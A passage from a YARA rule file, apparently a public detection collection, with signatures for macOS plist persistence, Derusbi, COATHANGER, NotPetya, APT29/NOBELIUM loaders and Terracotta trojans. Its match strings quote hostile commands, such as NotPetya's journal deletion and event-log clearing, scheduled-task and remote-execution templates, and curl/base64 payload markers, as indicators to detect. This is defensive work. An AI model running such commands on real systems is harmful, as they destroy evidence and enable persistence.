		description = "Suspicious PLIST files in MacOS (possible malware persistence)"
		author = "John Lambert @JohnLaTwC"
		date = "2018-12-14"
		modified = "2023-10-19"
		old_rule_name = "gen_malware_MacOS_plist_suspicious"
		reference = "https://objective-see.com/blog/blog_0x3A.html"
		hash1 = "0541fc6a11f4226d52ae3d4158deb8f50ed61b25bb5f889d446102e1ee57b76d"
		hash2 = "6cc6abec7d203f99c43ce16630edc39451428d280b02739757f17fd01fc7dca3"
		hash3 = "76eb97aba93979be06dbf0a872518f9514d0bb20b680c887d6fd5cc79dce3681"
		hash4 = "8921e3f1955f7141d1231f8cfd95230143525f259e578fdc1dd98494f62ec4a1"
		hash5 = "9a3fd0d2b0bca7d2f7e3c70cb15a7005a1afa1ce78371fd3fa9c526a288b64ce"
		hash6 = "737355121685afc38854413d8a1657886f9aa24f54673953749386defe843017"
		hash7 = "9b77622653934995ee8bb5562df311f5bb6d6719933e2671fe231a664da76d30"
		hash8 = "c449f8115b4b939271cb92008a497457e1ab1cf2cbd8f4b58f7ba955cf5624f0"
		hash9 = "cdb2fb9c8e84f0140824403ec32a2431fb357cd0f184c1790152834cc3ad3c1b"
		id = "61b5986d-35c9-5e1a-a077-14cecdbed36f"

	strings:
		$sr1 = "PropertyList-"
		$sr2 = "<plist"
		$p1 = "python" ascii
		$p2 = "<string>-c" ascii
		$v0 = /\<string\>[\/|\w]{0,20}\+[\/|\+|=|\w]{59,80}\<\/string\>/
		$v1 = "curl " fullword
		$v2 = "PAYLOAD_DATA"
		$v3 = "base64"
		$vb640 = /(AAQQBZAEwATwBBAEQAXwBCAEEAUwBFADYANA|AEEAWQBMAE8AQQBEAF8AQgBBAFMARQA2ADQA|BBWUxPQURfQkFTRTY0|QVlMT0FEX0JBU0U2N|UABBAFkATABPAEEARABfAEIAQQBTAEUANgA0A|UEFZTE9BRF9CQVNFNj)/
		$vb641 = /(AHUAYgBwAHIAbwBjAGUAcwBzA|c3VicHJvY2Vzc|cwB1AGIAcAByAG8AYwBlAHMAcw|dWJwcm9jZXNz|MAdQBiAHAAcgBvAGMAZQBzAHMA|N1YnByb2Nlc3)/
		$vb642 = "IyEvdXNy"
		$vb643 = "IyAtKi0"
		$vb644 = /(AGQAZABfAGgAZQBhAGQAZQByA|EAZABkAF8AaABlAGEAZABlAHIA|FkZF9oZWFkZX|YQBkAGQAXwBoAGUAYQBkAGUAcg|YWRkX2hlYWRlc|ZGRfaGVhZGVy)/
		$fp1 = "&#10;do&#10;&#09;echo"
		$fp2 = "<string>com.cisco.base64</string>"
		$fp3 = "video/mp4;base64"
		$fp4 = "<key>Content-Length</key>"
		$fp5 = "<string>yara</string>"
		$fp6 = "<key>Frameworks/base64.framework</key>" ascii
		$fp7 = "<key>Headers/base64.h</key>" ascii
		$fp8 = "database64" ascii fullword
		$fp9 = "<!-- last arg will be replaced by the installer script -->" ascii
		$fp10 = "<key>/usr/local/bin/python</key>"
		$fp11 = "<key>/usr/bin/ruby</key>"

	condition:
		filesize < 20KB and uint32be( 0 ) == 0x3c3f786d and all of ( $sr* ) and @sr2 [ 1 ] < 0x100 and ( 1 of ( $v* ) or all of ( $p* ) ) and not 1 of ( $fp* )
}

rule apt_nix_elf_derusbi
{
	meta:
		description = "Detects Derusbi Backdoor ELF"
		author = "Fidelis Cybersecurity"
		date = "2016/02/29"
		modified = "2023-05-04"
		reference = "https://github.com/fideliscyber/indicators/tree/master/FTA-1021"
		id = "c825c5d6-1c2f-5ee7-871e-4be3f41d73f7"

	strings:
		$s1 = "LxMain"
		$s2 = "execve"
		$s3 = "kill"
		$s4 = "cp -a %s %s"
		$s5 = "%s &"
		$s6 = "dbus-daemon"
		$s7 = "--noprofile"
		$s8 = "--norc"
		$s9 = "TERM=vt100"
		$s10 = "/proc/%u/cmdline"
		$s11 = "loadso"
		$s12 = "/proc/self/exe"
		$s13 = "Proxy-Connection: Keep-Alive"
		$s14 = "Connection: Keep-Alive"
		$s15 = "CONNECT %s"
		$s16 = "HOST: %s:%d"
		$s17 = "User-Agent: Mozilla/4.0"
		$s18 = "Proxy-Authorization: Basic %s"
		$s19 = "Server: Apache"
		$s20 = "Proxy-Authenticate"
		$s21 = "gettimeofday"
		$s22 = "pthread_create"
		$s23 = "pthread_join"
		$s24 = "pthread_mutex_init"
		$s25 = "pthread_mutex_destroy"
		$s26 = "pthread_mutex_lock"
		$s27 = "getsockopt"
		$s28 = "socket"
		$s29 = "setsockopt"
		$s30 = "select"
		$s31 = "bind"
		$s32 = "shutdown"
		$s33 = "listen"
		$s34 = "opendir"
		$s35 = "readdir"
		$s36 = "closedir"
		$s37 = "rename"

	condition:
		uint32( 0 ) == 0x464c457f and all of them
}

rule apt_nix_elf_derusbi_kernelModule
{
	meta:
		description = "Detects Derusbi Backdoor ELF Kernel Module"
		author = "Fidelis Cybersecurity"
		date = "2016/02/29"
		modified = "2023-05-04"
		reference = "https://github.com/fideliscyber/indicators/tree/master/FTA-1021"
		id = "98196ffc-8a6f-5edc-a688-eeb449410b72"

	strings:
		$s1 = "__this_module"
		$s2 = "init_module"
		$s3 = "unhide_pid"
		$s4 = "is_hidden_pid"
		$s5 = "clear_hidden_pid"
		$s6 = "hide_pid"
		$s7 = "license"
		$s8 = "description"
		$s9 = "srcversion="
		$s10 = "depends="
		$s12 = "vermagic="
		$s13 = "current_task"
		$s14 = "sock_release"
		$s15 = "module_layout"
		$s16 = "init_uts_ns"
		$s17 = "init_net"
		$s18 = "init_task"
		$s19 = "filp_open"
		$s20 = "__netlink_kernel_create"
		$s21 = "kfree_skb"

	condition:
		uint32( 0 ) == 0x464c457f and all of them
}

rule apt_nix_elf_Derusbi_Linux_SharedMemCreation
{
	meta:
		description = "Detects Derusbi Backdoor ELF Shared Memory Creation"
		author = "Fidelis Cybersecurity"
		date = "2016/02/29"
		reference = "https://github.com/fideliscyber/indicators/tree/master/FTA-1021"
		id = "068b7bea-853d-57e8-a9fe-8b451dbc7582"

	strings:
		$byte1 = { B6 03 00 00 ?? 40 00 00 00 ?? 0D 5F 01 82 }

	condition:
		uint32( 0 ) == 0x464C457F and any of them
}

rule apt_nix_elf_Derusbi_Linux_Strings
{
	meta:
		description = "Detects Derusbi Backdoor ELF Strings"
		author = "Fidelis Cybersecurity"
		date = "2016/02/29"
		reference = "https://github.com/fideliscyber/indicators/tree/master/FTA-1021"
		id = "06717cc9-678d-5912-a671-65605b9c9968"

	strings:
		$a1 = "loadso" wide ascii fullword
		$a2 = "\nuname -a\n\n" wide ascii
		$a3 = "/dev/shm/.x11.id" wide ascii
		$a4 = "LxMain64" wide ascii nocase
		$a5 = "# \\u@\\h:\\w \\$ " wide ascii
		$b1 = "0123456789abcdefghijklmnopqrstuvwxyz" wide
		$b2 = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" wide
		$b3 = "ret %d" wide fullword
		$b4 = "uname -a\n\n" wide ascii
		$b5 = "/proc/%u/cmdline" wide ascii
		$b6 = "/proc/self/exe" wide ascii
		$b7 = "cp -a %s %s" wide ascii
		$c1 = "/dev/pts/4" wide ascii fullword
		$c2 = "/tmp/1408.log" wide ascii fullword

	condition:
		uint32( 0 ) == 0x464C457F and ( ( 1 of ( $a* ) and 4 of ( $b* ) ) or ( 1 of ( $a* ) and 1 of ( $c* ) ) or 2 of ( $a* ) or all of ( $b* ) )
}

rule apt_win_exe_trojan_derusbi
{
	meta:
		description = "Detects Derusbi Backdoor Win32"
		author = "Fidelis Cybersecurity"
		date = "2016/02/29"
		reference = "https://github.com/fideliscyber/indicators/tree/master/FTA-1021"
		id = "6e7fecfa-f801-59b2-a394-df4c368011b7"

	strings:
		$sa_4 = "HOST: %s:%d"
		$sa_6 = "User-Agent: Mozilla"
		$sa_7 = "Proxy-Connection: Keep-Alive"
		$sa_8 = "Connection: Keep-Alive"
		$sa_9 = "Server: Apache"
		$sa_12 = "ZwUnloadDriver"
		$sa_13 = "ZwLoadDriver"
		$sa_18 = "_time64"
		$sa_19 = "DllRegisterServer"
		$sa_20 = "DllUnregisterServer"
		$sa_21 = { 8b [5] 8b ?? d3 ?? 83 ?? 08 30 [5] 40 3b [5] 72 }
		$sb_1 = "PCC_CMD_PACKET"
		$sb_2 = "PCC_CMD"
		$sb_3 = "PCC_BASEMOD"
		$sb_4 = "PCC_PROXY"
		$sb_5 = "PCC_SYS"
		$sb_6 = "PCC_PROCESS"
		$sb_7 = "PCC_FILE"
		$sb_8 = "PCC_SOCK"
		$sc_1 = "bcdedit -set testsigning" wide ascii
		$sc_2 = "update.microsoft.com" wide ascii
		$sc_3 = "_crt_debugger_hook" wide ascii
		$sc_4 = "ue8G5" wide ascii
		$sd_2 = "\\\\.\\pipe\\%s" wide ascii
		$sd_3 = ".dat" wide ascii
		$sd_4 = "CONNECT %s:%d" wide ascii
		$sd_5 = "\\Device\\" wide ascii
		$se_1 = "-%s-%04d" wide ascii
		$se_2 = "-%04d" wide ascii
		$se_5 = "2.03" wide ascii

	condition:
		uint16( 0 ) == 0x5A4D and ( all of ( $sa_* ) or ( ( 8 of ( $sa_* ) ) and ( ( 5 of ( $sb_* ) ) or ( 3 of ( $sc_* ) ) or ( all of ( $sd_* ) ) or ( 1 of ( $sc_* ) and all of ( $se_* ) ) ) ) )
}

rule MAL_Fortinet_COATHANGER_Beacon
{
	meta:
		description = "Detects COATHANGER beaconing code"
		malware = "COATHANGER"
		author = "NLD MIVD - JSCU"
		date = "2024-02-06"
		reference = "https://www.ncsc.nl/documenten/publicaties/2024/februari/6/mivd-aivd-advisory-coathanger-tlp-clear"

	strings:
		$chunk_1 = { 48 B8 47 45 54 20 2F 20 48 54 48 89 45 B0 48 B8 54 50 2F 32 0A 48 6F 73 48 89 45 B8 48 B8 74 3A 20 77 77 77 2E 67 48 89 45 C0 48 B8 6F 6F 67 6C 65 2E 63 6F }

	condition:
		uint32( 0 ) == 0x464c457f and filesize < 5MB and any of them
}

rule MAL_Fortinet_COATHANGER_Files
{
	meta:
		description = "Detects COATHANGER files by used filenames"
		malware = "COATHANGER"
		author = "NLD MIVD - JSCU"
		date = "2024-02-06"
		reference = "https://www.ncsc.nl/documenten/publicaties/2024/februari/6/mivd-aivd-advisory-coathanger-tlp-clear"

	strings:
		$1 = "/data2/"
		$2 = "/httpsd"
		$3 = "/preload.so"
		$4 = "/authd"
		$5 = "/tmp/packfile"
		$6 = "/smartctl"
		$7 = "/etc/ld.so.preload"
		$8 = "/newcli"
		$9 = "/bin/busybox"

	condition:
		( uint32( 0 ) == 0x464c457f or uint32( 4 ) == 0x464c457f ) and filesize < 5MB and 4 of them
}

rule NotPetya_Ransomware_Jun17
{
	meta:
		description = "Detects new NotPetya Ransomware variant from June 2017"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/h6iaGj"
		date = "2017-06-27"
		hash1 = "027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745"
		hash2 = "45ef8d53a5a2011e615f60b058768c44c74e5190fefd790ca95cf035d9e1d5e0"
		hash3 = "64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1"
		id = "8805f971-0680-534d-9955-65dc4ecc934a"

	strings:
		$x1 = "Ooops, your important files are encrypted." fullword wide ascii
		$x2 = "process call create \"C:\\Windows\\System32\\rundll32.exe \\\"C:\\Windows\\%s\\\" #1 " fullword wide
		$x3 = "-d C:\\Windows\\System32\\rundll32.exe \"C:\\Windows\\%s\",#1 " fullword wide
		$x4 = "Send your Bitcoin wallet ID and personal installation key to e-mail " fullword wide
		$x5 = "fsutil usn deletejournal /D %c:" fullword wide
		$x6 = "wevtutil cl Setup & wevtutil cl System" ascii
		$x7 = { 2C 00 23 00 31 00 20 00 00 00 00 00 00 00 00 00 72 00 75 00 6E
         00 64 00 6C 00 6C 00 33 00 32 00 2E 00 65 00 78 00 65 00 }
		$s1 = "%s /node:\"%ws\" /user:\"%ws\" /password:\"%ws\" " fullword wide
		$s4 = "\\\\.\\pipe\\%ws" fullword wide
		$s5 = "schtasks %ws/Create /SC once /TN \"\" /TR \"%ws\" /ST %02d:%02d" fullword wide
		$s6 = "u%s \\\\%s -accepteula -s " fullword wide
		$s7 = "dllhost.dat" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and ( 1 of ( $x* ) or 3 of them )
}

rule APT_APT29_Win_FlipFlop_LDR : APT29
{
	meta:
		author = "threatintel@volexity.com"
		date = "2021-05-25"
		description = "A loader for the CobaltStrike malware family, which ultimately takes the first and second bytes of an embedded file, and flips them prior to executing the resulting payload."
		hash = "ee42ddacbd202008bcc1312e548e1d9ac670dd3d86c999606a3a01d464a2a330"
		reference = "https://www.volexity.com/blog/2021/05/27/suspected-apt29-operation-launches-election-fraud-themed-phishing-campaigns/"
		id = "58696a6f-55a9-5212-9372-a539cc327e6b"

	strings:
		$s1 = "irnjadle"
		$s2 = "BADCFEHGJILKNMPORQTSVUXWZY"
		$s3 = "iMrcsofo taBesC yrtpgoarhpciP orived r1v0."

	condition:
		all of ( $s* )
}

import "pe"

rule APT_APT28_Win_FreshFire : APT29
{
	meta:
		author = "threatintel@volexity.com"
		date = "2021-05-27"
		description = "The FRESHFIRE malware family. The malware acts as a downloader, pulling down an encrypted snippet of code from a remote source, executing it, and deleting it from the remote server."
		hash = "ad67aaa50fd60d02f1378b4155f69cffa9591eaeb80523489a2355512cc30e8c"
		reference = "https://www.volexity.com/blog/2021/05/27/suspected-apt29-operation-launches-election-fraud-themed-phishing-campaigns/"
		id = "050b8e61-139a-5ff5-998a-7de67c9975bf"

	strings:
		$uniq1 = "UlswcXJJWhtHIHrVqWJJ"
		$uniq2 = "gyibvmt\x00"
		$path1 = "root/time/%d/%s.json"
		$path2 = "C:\\dell.sdr"
		$path3 = "root/data/%d/%s.json"

	condition:
		(pe.number_of_exports == 1 and pe.exports ( "WaitPrompt" ) ) or any of ( $uniq* ) or 2 of ( $path* )
}

rule APT_APT29_NOBELIUM_JS_EnvyScout_May21_1
{
	meta:
		description = "Detects EnvyScout deobfuscator code as used by NOBELIUM group"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
		date = "2021-05-29"
		id = "42739aad-a88a-545b-8256-1f727c79c4f8"

	strings:
		$x1 = "[i].charCodeAt(0) ^ 2);}"

	condition:
		filesize < 5000KB and 1 of them
}

rule APT_APT29_NOBELIUM_JS_EnvyScout_May21_2
{
	meta:
		description = "Detects EnvyScout deobfuscator code as used by NOBELIUM group"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
		date = "2021-05-29"
		id = "d5cf3365-fe24-533a-a678-b5b6d4d99997"

	strings:
		$s1 = "saveAs(blob, " ascii
		$s2 = ".iso\");" ascii
		$s3 = "application/x-cd-image" ascii
		$s4 = ".indexOf(\"Win\")!=-1" ascii

	condition:
		filesize < 5000KB and all of them
}

rule APT_APT29_NOBELIUM_LNK_NV_Link_May21_2
{
	meta:
		description = "Detects NV Link as used by NOBELIUM group"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
		date = "2021-05-29"
		id = "52c2caf9-13df-5614-9c9e-afcd76ec77f9"

	strings:
		$s1 = "RegisterOCX BOOM" ascii wide
		$s2 = "cmd.exe /c start BOOM.exe" ascii wide

	condition:
		filesize < 5000KB and 1 of them
}

rule APT_APT29_NOBELIUM_LNK_Samples_May21_1
{
	meta:
		description = "Detects link file characteristics as described in APT29 NOBELIUM report"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/"
		date = "2021-05-27"
		score = 85
		hash1 = "24caf54e7c3fe308444093f7ac64d6d520c8f44ea4251e09e24931bdb72f5548"
		id = "c807ab5a-f66a-5622-81b1-6e69b6df8446"

	strings:
		$a1 = "rundll32.exe" wide
		$sa1 = "IMGMountingService.dll" wide
		$sa2 = "MountImgHelper" wide
		$sb1 = "diassvcs.dll" wide
		$sb2 = "InitializeComponent" wide
		$sc1 = "MsDiskMountService.dll" wide
		$sc2 = "DiskDriveIni" wide
		$sd1 = "GraphicalComponent.dll" wide
		$sd2 = "VisualServiceComponent" wide
		$se1 = "data/mstu.dll,MicrosoftUpdateService" wide

	condition:
		uint16( 0 ) == 0x004c and filesize < 4KB and $a1 and ( all of ( $sa* ) or all of ( $sb* ) or all of ( $sc* ) or all of ( $sd* ) or all of ( $se* ) )
}

rule APT_APT29_NOBELIUM_BoomBox_May21_1
{
	meta:
		description = "Detects BoomBox malware as described in APT29 NOBELIUM report"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/"
		date = "2021-05-27"
		score = 85
		id = "fe964f3e-1cda-5f16-838f-dd7b23cd5651"

	strings:
		$xa1 = "123do3y4r378o5t34onf7t3o573tfo73" ascii wide fullword
		$xa2 = "1233t04p7jn3n4rg" ascii wide fullword

	condition:
		1 of them
}

import "math"

rule APT_APT29_NOBELIUM_BoomBox_PDF_Masq_May21_1
{
	meta:
		description = "Detects PDF documents as used by BoomBox as described in APT29 NOBELIUM report"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/"
		date = "2021-05-27"
		score = 70
		id = "bdfb9600-edda-5c8c-ab23-14fb71c8e647"

	strings:
		$ah1 = { 25 50 44 46 2d 31 2e 33 0a 25 }
		$af1 = { 0a 25 25 45 4f 46 0a }
		$fp1 = "endobj" ascii
		$fp2 = "endstream" ascii
		$fp3 = { 20 6F 62 6A 0A }

	condition:
		$ah1 at 0 and $af1 at ( filesize - 7 ) and filesize < 100KB and not 1 of ( $fp* ) and math.entropy ( 16 , filesize ) > 7
}

rule APT_APT29_NOBELIUM_NativeZone_Loader_May21_1
{
	meta:
		description = "Detects NativeZone loader as described in APT29 NOBELIUM report"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/"
		date = "2021-05-27"
		score = 85
		hash1 = "136f4083b67bc8dc999eb15bb83042aeb01791fc0b20b5683af6b4ddcf0bbc7d"
		id = "02d9257d-f439-5071-96b0-a973b088e329"

	strings:
		$s1 = "\\SystemCertificates\\Lib\\CertPKIProvider.dll" ascii
		$s2 = "rundll32.exe %s %s" ascii fullword
		$s3 = "eglGetConfigs" ascii fullword
		$op1 = { 80 3d 74 8c 01 10 00 0f 85 96 00 00 00 33 c0 40 b9 6c 8c 01 10 87 01 33 db 89 5d fc }
		$op2 = { 8b 46 18 e9 30 ff ff ff 90 87 2f 00 10 90 2f 00 10 }
		$op3 = { e8 14 dd ff ff 8b f1 80 3d 74 8c 01 10 00 0f 85 96 00 00 00 33 c0 40 b9 6c 8c 01 10 87 01 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and 3 of them or 4 of them
}

rule APT_APT29_NOBELIUM_BoomBox_May21_2
{
	meta:
		description = "Detects BoomBox malware used by APT29 / NOBELIUM"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
		date = "2021-05-29"
		hash1 = "0acb884f2f4cfa75b726cb8290b20328c8ddbcd49f95a1d761b7d131b95bafec"
		hash2 = "8199f309478e8ed3f03f75e7574a3e9bce09b4423bd7eb08bb5bff03af2b7c27"
		hash3 = "cf1d992f776421f72eabc31d5afc2f2067ae856f1c9c1d6dc643a67cb9349d8c"
		id = "a4144c00-48b2-5520-b773-5d0a5de95fb1"

	strings:
		$x1 = "\\Microsoft\\NativeCache\\NativeCacheSvc.dll" wide
		$x2 = "\\NativeCacheSvc.dll _configNativeCache" wide
		$a1 = "/content.dropboxapi.com" wide fullword
		$s1 = "rundll32.exe {0} {1}" wide fullword
		$s2 = "\\\\CertPKIProvider.dll" wide
		$s3 = "/tmp/readme.pdf" wide
		$s4 = "temp/[^\"]*)\"" wide fullword
		$op1 = { 00 78 00 2d 00 41 00 50 00 49 00 2d 00 41 00 72 00 67 00 01 2f 4f 00 72 00 }
		$op2 = { 25 72 98 01 00 70 6f 34 00 00 0a 25 6f 35 00 00 0a 72 71 02 00 70 72 }
		$op3 = { 4d 05 20 00 12 80 91 04 20 01 08 0e 04 20 00 12 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 40KB and 3 of them or 4 of them
}

rule APT_APT29_NOBELIUM_Malware_May21_2
{
	meta:
		description = "Detects malware used by APT29 / NOBELIUM"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
		date = "2021-05-29"
		hash1 = "292e5b0a12fea4ff3fc02e1f98b7a370f88152ce71fe62670dd2f5edfaab2ff8"
		hash2 = "776014a63bf3cc7034bd5b6a9c36c75a930b59182fe232535bb7a305e539967b"
		id = "b1462b4b-227f-5aeb-92ea-bda6a86831c7"

	strings:
		$op1 = { 48 03 c8 42 0f b6 04 21 88 03 0f b6 43 01 8b c8 83 e0 0f 48 83 e1 f0 48 03 c8 }
		$op2 = { 48 03 c8 42 0f b6 04 21 88 43 01 41 0f b6 c7 8b c8 83 e0 0f 48 83 e1 f0 48 03 c8 }
		$op3 = { 45 0f b6 43 ff 41 8b c2 99 44 88 03 41 0f b6 2b 83 e2 03 03 c2 40 88 6b 01 }

	condition:
		filesize < 2200KB and all of them
}

rule APT_APT29_NOBELIUM_Stageless_Loader_May21_2
{
	meta:
		description = "Detects stageless loader as used by APT29 / NOBELIUM"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
		date = "2021-05-29"
		hash1 = "a4f1f09a2b9bc87de90891da6c0fca28e2f88fd67034648060cef9862af9a3bf"
		hash2 = "c4ff632696ec6e406388e1d42421b3cd3b5f79dcb2df67e2022d961d5f5a9e78"
		id = "7b83d327-52fc-5401-ae35-00f6b825678a"

	strings:
		$x1 = "DLL_stageless.dll" ascii fullword
		$s1 = "c:\\users\\devuser\\documents" ascii fullword nocase
		$s2 = "VisualServiceComponent" ascii fullword
		$s3 = "CheckUpdteFrameJavaCurrentVersion" ascii fullword
		$op1 = { a3 d? 6? 04 10 ff d6 33 05 00 ?0 0? 10 68 d8 d4 00 10 57 a3 d? 6? 04 10 ff d6 33 05 00 ?0 0? 10 }
		$op2 = { ff d6 33 05 00 ?0 0? 10 68 d8 d4 00 10 57 a3 d? 6? 04 10 ff d6 33 05 00 ?0 0? 10 68 e8 d4 00 10 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 900KB and 2 of them or 3 of them
}

rule APT_APT29_NOBELIUM_Malware_May21_3
{
	meta:
		description = "Detects malware used by APT29 / NOBELIUM"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
		date = "2021-05-29"
		hash1 = "2a352380d61e89c89f03f4008044241a38751284995d000c73acf9cad38b989e"
		id = "89cb6884-4242-5b5a-b0ac-b31041dd261c"

	strings:
		$s1 = "Win32Project1.dll" ascii fullword
		$op1 = { 59 c3 6a 08 68 70 5e 01 10 e8 d2 8c ff ff 8b 7d 08 8b c7 c1 f8 05 }
		$op2 = { 8d 4d f0 e8 c4 12 00 00 68 64 5b 01 10 8d 45 f0 c7 45 f0 6c 01 01 10 50 e8 ea 13 00 00 cc }
		$op4 = { 40 c3 8b 65 e8 e8 a6 86 ff ff cc 6a 0c 68 88 60 01 10 e8 b0 4d ff ff }
		$xc1 = { 25 73 25 73 00 00 00 00 2F 65 2C 20 00 00 00 00
               43 00 3A 00 5C 00 77 00 69 00 6E 00 64 00 6F 00
               77 00 73 00 5C 00 65 00 78 00 70 00 6C 00 6F 00
               72 00 65 00 72 00 2E 00 65 00 78 00 65 }

	condition:
		filesize < 3000KB and ( $xc1 or 3 of them )
}

rule APT_APT29_NOBELIUM_Malware_May21_4
{
	meta:
		description = "Detects malware used by APT29 / NOBELIUM"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
		date = "2021-05-29"
		hash1 = "3b94cc71c325f9068105b9e7d5c9667b1de2bde85b7abc5b29ff649fd54715c4"
		id = "56193475-52b4-5720-abc5-72249e2a0c37"

	strings:
		$s1 = "KM.FileSystem.dll" ascii fullword
		$op1 = { 80 3d 50 6b 04 10 00 0f 85 96 00 00 00 33 c0 40 b9 48 6b 04 10 87 01 33 db 89 5d fc }
		$op2 = { c3 33 c0 b9 7c 6f 04 10 40 87 01 c3 8b ff 55 }
		$op3 = { 8d 4d f4 e8 53 ff ff ff 68 d0 22 01 10 8d 45 f4 50 e8 d8 05 00 00 cc 8b 41 04 }
		$xc1 = { 2E 64 6C 6C 00 00 00 00 41 53 4B 4F 44 00 00 00
               53 75 63 63 65 73 73 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and ( $xc1 or 3 of them )
}

rule Apolmy_Privesc_Trojan
{
	meta:
		description = "Apolmy Privilege Escalation Trojan used in APT Terracotta"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://blogs.rsa.com/terracotta-vpn-enabler-of-advanced-threat-anonymity/"
		date = "2015-08-04"
		score = 80
		hash = "d7bd289e6cee228eb46a1be1fcdc3a2bd5251bc1eafb59f8111756777d8f373d"
		id = "2f3f496b-ebfe-5a6e-89ad-a24af6378fd7"

	strings:
		$s1 = "[%d] Failed, %08X" fullword ascii
		$s2 = "[%d] Offset can not fetched." fullword ascii
		$s3 = "PowerShadow2011" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule Mithozhan_Trojan
{
	meta:
		description = "Mitozhan Trojan used in APT Terracotta"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://blogs.rsa.com/terracotta-vpn-enabler-of-advanced-threat-anonymity/"
		date = "2015-08-04"
		score = 70
		hash = "8553b945e2d4b9f45c438797d6b5e73cfe2899af1f9fd87593af4fd7fb51794a"
		id = "5e2b4e08-1a35-5eb0-8c25-a73d45b0e279"

	strings:
		$s1 = "adbrowser" fullword wide
		$s2 = "IJKLlGdmaWhram0vn36BgIOChYR3L45xcHNydXQvhmloa2ptbH8voYCDTw==" fullword ascii
		$s3 = "EFGHlGdmaWhrL41sf36BgIOCL6R3dk8=" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule RemoteExec_Tool
{
	meta:
		description = "Remote Access Tool used in APT Terracotta"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://blogs.rsa.com/terracotta-vpn-enabler-of-advanced-threat-anonymity/"
		date = "2015-08-04"
		hash = "a550131e106ff3c703666f15d55d9bc8c816d1cb9ac1b73c2e29f8aa01e53b78"
		id = "c3262147-3455-554c-88fc-b523352efe7f"

	strings:
		$s0 = "cmd.exe /q /c \"%s\"" fullword ascii
		$s1 = "\\\\.\\pipe\\%s%s%d" fullword ascii
		$s2 = "This is a service executable! Couldn't start directly." fullword ascii
		$s3 = "\\\\.\\pipe\\TermHlp_communicaton" fullword ascii
		$s4 = "TermHlp_stdout" fullword ascii
		$s5 = "TermHlp_stdin" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 75KB and 4 of ( $s* )
}

rule LiuDoor_Malware_1
{
	meta:
		description = "Liudoor Trojan used in Terracotta APT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://blogs.rsa.com/terracotta-vpn-enabler-of-advanced-threat-anonymity/"
		date = "2015-08-04"
		score = 70
		super_rule = 1
		hash1 = "deed6e2a31349253143d4069613905e1dfc3ad4589f6987388de13e33ac187fc"
		hash2 = "4575e7fc8f156d1d499aab5064a4832953cd43795574b4c7b9165cdc92993ce5"
		hash3 = "ad1a507709c75fe93708ce9ca1227c5fefa812997ed9104ff9adfec62a3ec2bb"
		id = "ebd5833e-1f5c-5166-aaba-d0be64829e6c"

	strings:
		$s1 = "svchostdllserver.dll" fullword ascii
		$s2 = "SvcHostDLL: RegisterServiceCtrlHandler %S failed" fullword ascii
		$s3 = "\\nbtstat.exe" ascii
		$s4 = "DataVersionEx" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 150KB and all of them
}

rule LiuDoor_Malware_2
{
	meta:
		description = "Liudoor Trojan used in Terracotta APT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://blogs.rsa.com/terracotta-vpn-enabler-of-advanced-threat-anonymity/"
		date = "2015-08-04"
		score = 70
		super_rule = 1
		hash1 = "f3fb68b21490ded2ae7327271d3412fbbf9d705c8003a195a705c47c98b43800"
		hash2 = "e42b8385e1aecd89a94a740a2c7cd5ef157b091fabd52cd6f86e47534ca2863e"
		id = "30b9d727-ec77-5ead-80dd-6d442478e78b"

	strings:
